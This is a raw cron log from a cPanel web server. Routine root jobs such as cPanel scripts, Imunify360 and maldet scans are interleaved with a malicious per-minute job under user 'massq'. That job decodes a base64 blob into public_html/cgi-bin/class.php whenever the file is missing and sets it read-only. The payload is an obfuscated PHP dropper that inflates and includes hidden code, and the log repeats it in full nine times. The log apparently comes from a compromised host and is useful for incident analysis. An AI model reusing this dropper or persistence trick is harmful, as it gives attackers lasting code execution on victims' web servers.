Sep  7 23:42:01 server CROND[14910]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:42:01 server CROND[14909]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 23:42:01 server CROND[14911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:43:01 server CROND[15275]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:43:01 server CROND[15276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:43:01 server CROND[15277]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:44:01 server CROND[15643]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:44:01 server CROND[15642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:44:01 server CROND[15644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:45:01 server CROND[16113]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 23:45:01 server CROND[16115]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 23:45:01 server CROND[16116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:45:01 server CROND[16117]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 23:45:01 server CROND[16121]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 23:45:01 server CROND[16119]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:45:01 server CROND[16120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:46:01 server CROND[16937]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:46:01 server CROND[16939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:46:01 server CROND[16938]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:47:01 server CROND[17313]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:47:01 server CROND[17312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:47:01 server CROND[17314]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:48:01 server CROND[17687]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:48:01 server CROND[17688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:48:01 server CROND[17689]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:49:01 server CROND[18071]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:49:01 server CROND[18073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:49:01 server CROND[18072]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:50:01 server CROND[18450]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 23:50:01 server CROND[18451]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 23:50:01 server CROND[18457]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 23:50:01 server CROND[18455]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 23:50:01 server CROND[18458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:50:01 server CROND[18456]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 23:50:01 server CROND[18460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:50:01 server CROND[18461]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:50:01 server CROND[18459]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 23:51:01 server CROND[19266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:51:01 server CROND[19267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:51:01 server CROND[19268]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:52:01 server CROND[19723]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:52:01 server CROND[19724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:52:01 server CROND[19725]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:53:01 server CROND[20109]: (root) CMD (/usr/lib64/sa/sa2 -A)
Sep  7 23:53:01 server CROND[20108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:53:01 server CROND[20110]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 23:53:01 server CROND[20111]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 23:54:01 server CROND[20495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 23:54:01 server CROND[20496]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
